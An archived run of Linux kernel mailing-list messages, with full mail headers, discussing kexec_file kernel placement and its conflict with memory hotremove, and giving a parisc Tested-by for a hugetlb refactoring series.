Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v7 4/4] kexec_file: Load kernel at top of system RAM if
 required
Date: Thu, 26 Jul 2018 14:59:57 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20180726125957.GH28386@dhcp22.suse.cz>
References: <20180718024944.577-1-bhe@redhat.com>
 <20180718024944.577-5-bhe@redhat.com>
 <20180718153326.b795e9ea7835432a56cd7011@linux-foundation.org>
 <20180719151753.GB7147@localhost.localdomain>
 <20180723143443.GD18181@dhcp22.suse.cz>
 <20180725064813.GI6480@MiWiFi-R3L-srv>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532609886 4061 195.159.176.226 (26 Jul 2018 12:58:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 12:58:06 +0000 (UTC)
User-Agent: Mutt/1.10.0 (2018-05-17)
Cc: nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org, brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 airlied-cv59FeDIM0c@public.gmane.org, linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org, patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 bp-l3A5Bk7waGM@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org, bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org,
 tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org,
 chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org, dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-kernel@vger
To: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Thu Jul 26 14:57:57 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fifq8-0000pQ-R6
	for gln-linux-nvdimm@m.gmane.org; Thu, 26 Jul 2018 14:57:57 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 7C957210C2830;
	Thu, 26 Jul 2018 06:00:07 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Softfail (domain owner discourages use of this host)
 identity=mailfrom; client-ip=195.135.220.15; helo=mx1.suse.de;
 envelope-from=mhocko-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org; receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.suse.de (mx2.suse.de [195.135.220.15])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 31BC1210C27BA
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Thu, 26 Jul 2018 06:00:05 -0700 (PDT)
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (unknown [195.135.220.254])
 by mx1.suse.de (Postfix) with ESMTP id 85C92ADF5;
 Thu, 26 Jul 2018 13:00:02 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20180725064813.GI6480@MiWiFi-R3L-srv>
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:11176 gmane.linux.drivers.devicetree:281555 gmane.linux.kernel.pci:74235 gmane.linux.kernel.input:62128 gmane.linux.ports.parisc:28814 gmane.linux.kernel.kexec:21289 gmane.linux.kernel:2831383 gmane.linux.ports.ppc64.devel:160440
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/11176>

On Wed 25-07-18 14:48:13, Baoquan He wrote:
> On 07/23/18 at 04:34pm, Michal Hocko wrote:
> > On Thu 19-07-18 23:17:53, Baoquan He wrote:
> > > Kexec has been a formal feature in our distro, and customers owning
> > > those kind of very large machine can make use of this feature to speed
> > > up the reboot process. On uefi machine, the kexec_file loading will
> > > search place to put kernel under 4G from top to down. As we know, the
> > > 1st 4G space is DMA32 ZONE, dma, pci mmcfg, bios etc all try to consume
> > > it. It may have possibility to not be able to find a usable space for
> > > kernel/initrd. From the top down of the whole memory space, we don't
> > > have this worry. 
> > 
> > I do not have the full context here but let me note that you should be
> > careful when doing top-down reservation because you can easily get into
> > hotplugable memory and break the hotremove usecase. We even warn when
> > this is done. See memblock_find_in_range_node
> 
> Kexec read kernel/initrd file into buffer, just search usable positions
> for them to do the later copying. You can see below struct kexec_segment, 
> for the old kexec_load, kernel/initrd are read into user space buffer,
> the @buf stores the user space buffer address, @mem stores the position
> where kernel/initrd will be put. In kernel, it calls
> kimage_load_normal_segment() to copy user space buffer to intermediate
> pages which are allocated with flag GFP_KERNEL. These intermediate pages
> are recorded as entries, later when user execute "kexec -e" to trigger
> kexec jumping, it will do the final copying from the intermediate pages
> to the real destination pages which @mem pointed. Because we can't touch
> the existed data in 1st kernel when do kexec kernel loading. With my
> understanding, GFP_KERNEL will make those intermediate pages be
> allocated inside immovable area, it won't impact hotplugging. But the
> @mem we searched in the whole system RAM might be lost along with
> hotplug. Hence we need do kexec kernel again when hotplug event is
> detected.

I am not sure I am following. If @mem is placed at movable node then the
memory hotremove simply won't work, because we are seeing reserved pages
and do not know what to do about them. They are not migrateable.
Allocating intermediate pages from other nodes doesn't really help.

The memblock code warns exactly for that reason.
-- 
Michal Hocko
SUSE Labs

From - Thu Nov 08 21:41:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v4 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Thu, 26 Jul 2018 14:59:40 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20180726125940.GA15033@ls3530>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180709141621.GD22297@dhcp22.suse.cz>
 <2173685f-7f85-7acb-4685-2383210c5fa2@ghiti.fr>
 <87d0vehx16.fsf@concordia.ellerman.id.au>
 <67aba0f0-c0d4-b06f-5fbc-f4d113ce5033@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1532610008 12836 195.159.176.226 (26 Jul 2018 13:00:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 13:00:08 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: linux-mips@linux-mips.org, dalias@libc.org, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, benh@kernel.crashing.org, will.deacon@arm.com,
 Michal Hocko <mhocko@kernel.org>, paulus@samba.org, hpa@zytor.com,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
 ysato@users.sourceforge.jp, Michael Ellerman <mpe@ellerman.id.au>,
 deller@gmx.de, x86@kernel.org, linux@armlinux.org.uk, mingo@redhat.com,
 catalin.marinas@arm.com, jhogan@kernel.org, jejb@parisc-linux.org,
 fenghua.yu@intel.com, arnd@arndb.de, tglx@linutronix.de,
 linux-arm-kernel@lists.infradead.org, tony.luck@intel.com,
 linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
 ralf@linux-mips.org, paul.burton@mips.com,
 Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>, linuxppc-dev@lists.ozlabs.org,
 davem@davemloft.net, Mike Kravetz <mike.kravetz@oracle.com>
To: Alex Ghiti <alex@ghiti.fr>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jul 26 15:00:02 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1fifs9-0003Aa-5l
	for linux-arm-kernel@m.gmane.org; Thu, 26 Jul 2018 15:00:01 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=3ZFPGQQTxfI+K+UbxAx/fAqsb6Iolc466jqzTpnEgh4=; b=DQsh3EPBslapoy
	iP8c/ICMQnssPvaWrYrHDqQdUzZQL8waGbCH2wapc9iQQxDZJJV12mSJXzdT6LbSuzg4RNbJdfvCf
	sSK5w39XPfD/QZdFr9B4NXuRV42PRy/Y8dGv6KiMCbYIL3RAJpFrPGGXcVcRvG5dmx3jGV9EQWAoE
	GtBLFi17A5Mw6zyMdmTnb3M7mZlKF0LpKoUPoCqnNubnYOnliN4jdSFGnjD0YHJBZElNz0wtRG7KA
	VcvMjDM3maJM+cIf+M5JWHMa92hbzmF/30oSLmPTkEcTaVeMgZyuN3hsjvBFn2c2Lqid8TqUSd+k2
	GRsU2UFoQDXqOa8C7zmA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fifuD-0000E1-Pd; Thu, 26 Jul 2018 13:02:09 +0000
Original-Received: from mout.gmx.net ([212.227.15.18])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fifu9-0000DE-S1
 for linux-arm-kernel@lists.infradead.org; Thu, 26 Jul 2018 13:02:08 +0000
Original-Received: from ls3530 ([155.56.40.73]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MTTKZ-1fbDCy051L-00SQbY; Thu, 26
 Jul 2018 14:59:51 +0200
Content-Disposition: inline
In-Reply-To: <67aba0f0-c0d4-b06f-5fbc-f4d113ce5033@ghiti.fr>
X-Provags-ID: V03:K1:LJW7STv0ttsGWNRGMntZtI8g9h5WdEk1zchAg4XmzjhCReDadlR
 KG+cYi35nReER/0L3a4C+m2kngX4xI03Labu+btPyA68jH3f+GC+B4qcZQauRRzrEc80ERE
 aHGns9dZ853xNeeLFJnjGRUYdQsbCokyKXfbOydvSxnYlIPh6n3wWXsfKwCi920Up+MZU84
 4FSFjVIiKuyHgJ1Qk6Gqg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:zkWr1oFCSxI=:2ucBH/SBIgeCNQ0BKUKeje
 F+9jymR6qNiTUTKtDh89IYd0+6+Bsc5f/Syop13rLKmBEhnPFN+a41RacteZnwIBnLF9+ETjJ
 3DlfTAUQSeuGdnHBeADJFltjUCSTvD2vsM58+aeCkxMNMpajnlaqA3E/deNmLotmpKsrqKmrT
 xKlckvHALi8pkKIKyDt5rE4pekx9GLBQHrEB1NEyQsX83D0pk7Fa15jDIyPGlYAUMVCVuoT17
 DJeVFQ5oHMqQh4fvuIix9e6XmiP1i+/MxLVEOA++ocfAgfIXxZeQXNYsUss7wqZLlZ95KbpB4
 nd1/9LjVBmgjK5zN4wTz2onTOFwgtJc09QXPUK1MLL2IOfESmDkYBPc0kTy3WMG7EITGFYPNq
 HixBpBdcYX9LbmNXK17ispo3ECpjyd5I/z1NjyQd8knCR5tSlGgpWo5QqwfeE9aDbbXriwJ2t
 /wsnmcXaL6hle00w1eZUquG+XYKrKxQ6+QU6lgXufdZW3cmVVZx0KiO+TJqk6T+10Ttt7D51L
 ujer+8dhR2WIpubn1MFUSxKLz1do/E1GCp6bqM8TA5hUW2sPPdTl0fBs2i/8FGaAHsQc2Puzf
 1WyUDN0KnN7FwyxWaM99MUxbH1kX70dfXAa6+p3GiEzjwd/dTVZ0boShlQ9esqyhagkmjVRiz
 z92FKnMmMwTkiykoE6mXlzBujDqmwCJ79GxbpgbZDTJVWBDagHK9DfPcW+VFFx/JUDs6tZHJa
 7LWB3ZcIw/5wqxV9V2OErrXZ/ChLYXLIWUiYsWrkJVlmrNajjZivfGblY84=
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180726_060206_206535_DD3322B2 
X-CRM114-Status: UNSURE (   5.30  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [212.227.15.18 listed in list.dnswl.org]
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (deller[at]gmx.de)
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:666148 gmane.linux.ports.mips.general:65669 gmane.linux.ports.ia64:28959 gmane.linux.ports.sh.devel:57256 gmane.linux.ports.sparc:28117 gmane.linux.kernel.cross-arch:45490 gmane.linux.ports.parisc:28815 gmane.linux.kernel:2831385 gmane.linux.ports.ppc64.devel:160441
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/666148>

* Alex Ghiti <alex@ghiti.fr>:
> This is the result of the build for all arches tackled in this series
> rebased on 4.18-rc6:
> ...
> parisc:
> =A0=A0=A0=A0=A0=A0=A0 generic-64bit_defconfig: with huge page does not li=
nk
> =A0=A0=A0=A0=A0=A0=A0 generic-64bit_defconfig: without huge page does not=
 link
> =A0=A0=A0=A0=A0=A0=A0 BUT not because of this series, any feedback welcom=
e.
Strange, but I will check that later....

Anyway, I applied your v4-patch to my parisc64 tree, built the kernel,
started it and ran some hugetlb LTP testcases sucessfully.
So, please add:

Tested-by: Helge Deller <deller@gmx.de> # parisc

Helge

From - Thu Nov 08 21:41:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v7 4/4] kexec_file: Load kernel at top of system RAM if
 required
Date: Thu, 26 Jul 2018 21:09:04 +0800
Lines: 49
Approved: news@gmane.org
Message-ID: <20180726130904.GL6480@MiWiFi-R3L-srv>
References: <20180718024944.577-1-bhe@redhat.com>
 <20180718024944.577-5-bhe@redhat.com>
 <20180718153326.b795e9ea7835432a56cd7011@linux-foundation.org>
 <20180719151753.GB7147@localhost.localdomain>
 <20180723143443.GD18181@dhcp22.suse.cz>
 <20180725064813.GI6480@MiWiFi-R3L-srv>
 <20180726125957.GH28386@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532610435 9102 195.159.176.226 (26 Jul 2018 13:07:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 13:07:15 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org, brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 airlied-cv59FeDIM0c@public.gmane.org, linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org, patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 bp-l3A5Bk7waGM@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org, bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org,
 tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org,
 chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org, dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-kernel@vger
To: Michal Hocko <mhocko-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Thu Jul 26 15:07:06 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fifz0-0002B5-9O
	for gln-linux-nvdimm@m.gmane.org; Thu, 26 Jul 2018 15:07:06 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 584AF210C282C;
	Thu, 26 Jul 2018 06:09:16 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 81D4A210BFF5D
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Thu, 26 Jul 2018 06:09:14 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx03.intmail.prod.int.rdu2.redhat.com
 [10.11.54.3])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 7D129818B107;
 Thu, 26 Jul 2018 13:09:13 +0000 (UTC)
Original-Received: from localhost (ovpn-8-16.pek2.redhat.com [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTPS id AEE36111AF3C;
 Thu, 26 Jul 2018 13:09:07 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20180726125957.GH28386-2MMpYkNvuYDjFM9bn6wA6Q@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.3
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.8]); Thu, 26 Jul 2018 13:09:13 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.8]);
 Thu, 26 Jul 2018 13:09:13 +0000 (UTC) for IP:'10.11.54.3'
 DOMAIN:'int-mx03.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:11177 gmane.linux.drivers.devicetree:281557 gmane.linux.kernel.pci:74236 gmane.linux.kernel.input:62129 gmane.linux.ports.parisc:28816 gmane.linux.kernel.kexec:21290 gmane.linux.kernel:2831393 gmane.linux.ports.ppc64.devel:160443
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/11177>

On 07/26/18 at 02:59pm, Michal Hocko wrote:
> On Wed 25-07-18 14:48:13, Baoquan He wrote:
> > On 07/23/18 at 04:34pm, Michal Hocko wrote:
> > > On Thu 19-07-18 23:17:53, Baoquan He wrote:
> > > > Kexec has been a formal feature in our distro, and customers owning
> > > > those kind of very large machine can make use of this feature to speed
> > > > up the reboot process. On uefi machine, the kexec_file loading will
> > > > search place to put kernel under 4G from top to down. As we know, the
> > > > 1st 4G space is DMA32 ZONE, dma, pci mmcfg, bios etc all try to consume
> > > > it. It may have possibility to not be able to find a usable space for
> > > > kernel/initrd. From the top down of the whole memory space, we don't
> > > > have this worry. 
> > > 
> > > I do not have the full context here but let me note that you should be
> > > careful when doing top-down reservation because you can easily get into
> > > hotplugable memory and break the hotremove usecase. We even warn when
> > > this is done. See memblock_find_in_range_node
> > 
> > Kexec read kernel/initrd file into buffer, just search usable positions
> > for them to do the later copying. You can see below struct kexec_segment, 
> > for the old kexec_load, kernel/initrd are read into user space buffer,
> > the @buf stores the user space buffer address, @mem stores the position
> > where kernel/initrd will be put. In kernel, it calls
> > kimage_load_normal_segment() to copy user space buffer to intermediate
> > pages which are allocated with flag GFP_KERNEL. These intermediate pages
> > are recorded as entries, later when user execute "kexec -e" to trigger
> > kexec jumping, it will do the final copying from the intermediate pages
> > to the real destination pages which @mem pointed. Because we can't touch
> > the existed data in 1st kernel when do kexec kernel loading. With my
> > understanding, GFP_KERNEL will make those intermediate pages be
> > allocated inside immovable area, it won't impact hotplugging. But the
> > @mem we searched in the whole system RAM might be lost along with
> > hotplug. Hence we need do kexec kernel again when hotplug event is
> > detected.
> 
> I am not sure I am following. If @mem is placed at movable node then the
> memory hotremove simply won't work, because we are seeing reserved pages
> and do not know what to do about them. They are not migrateable.
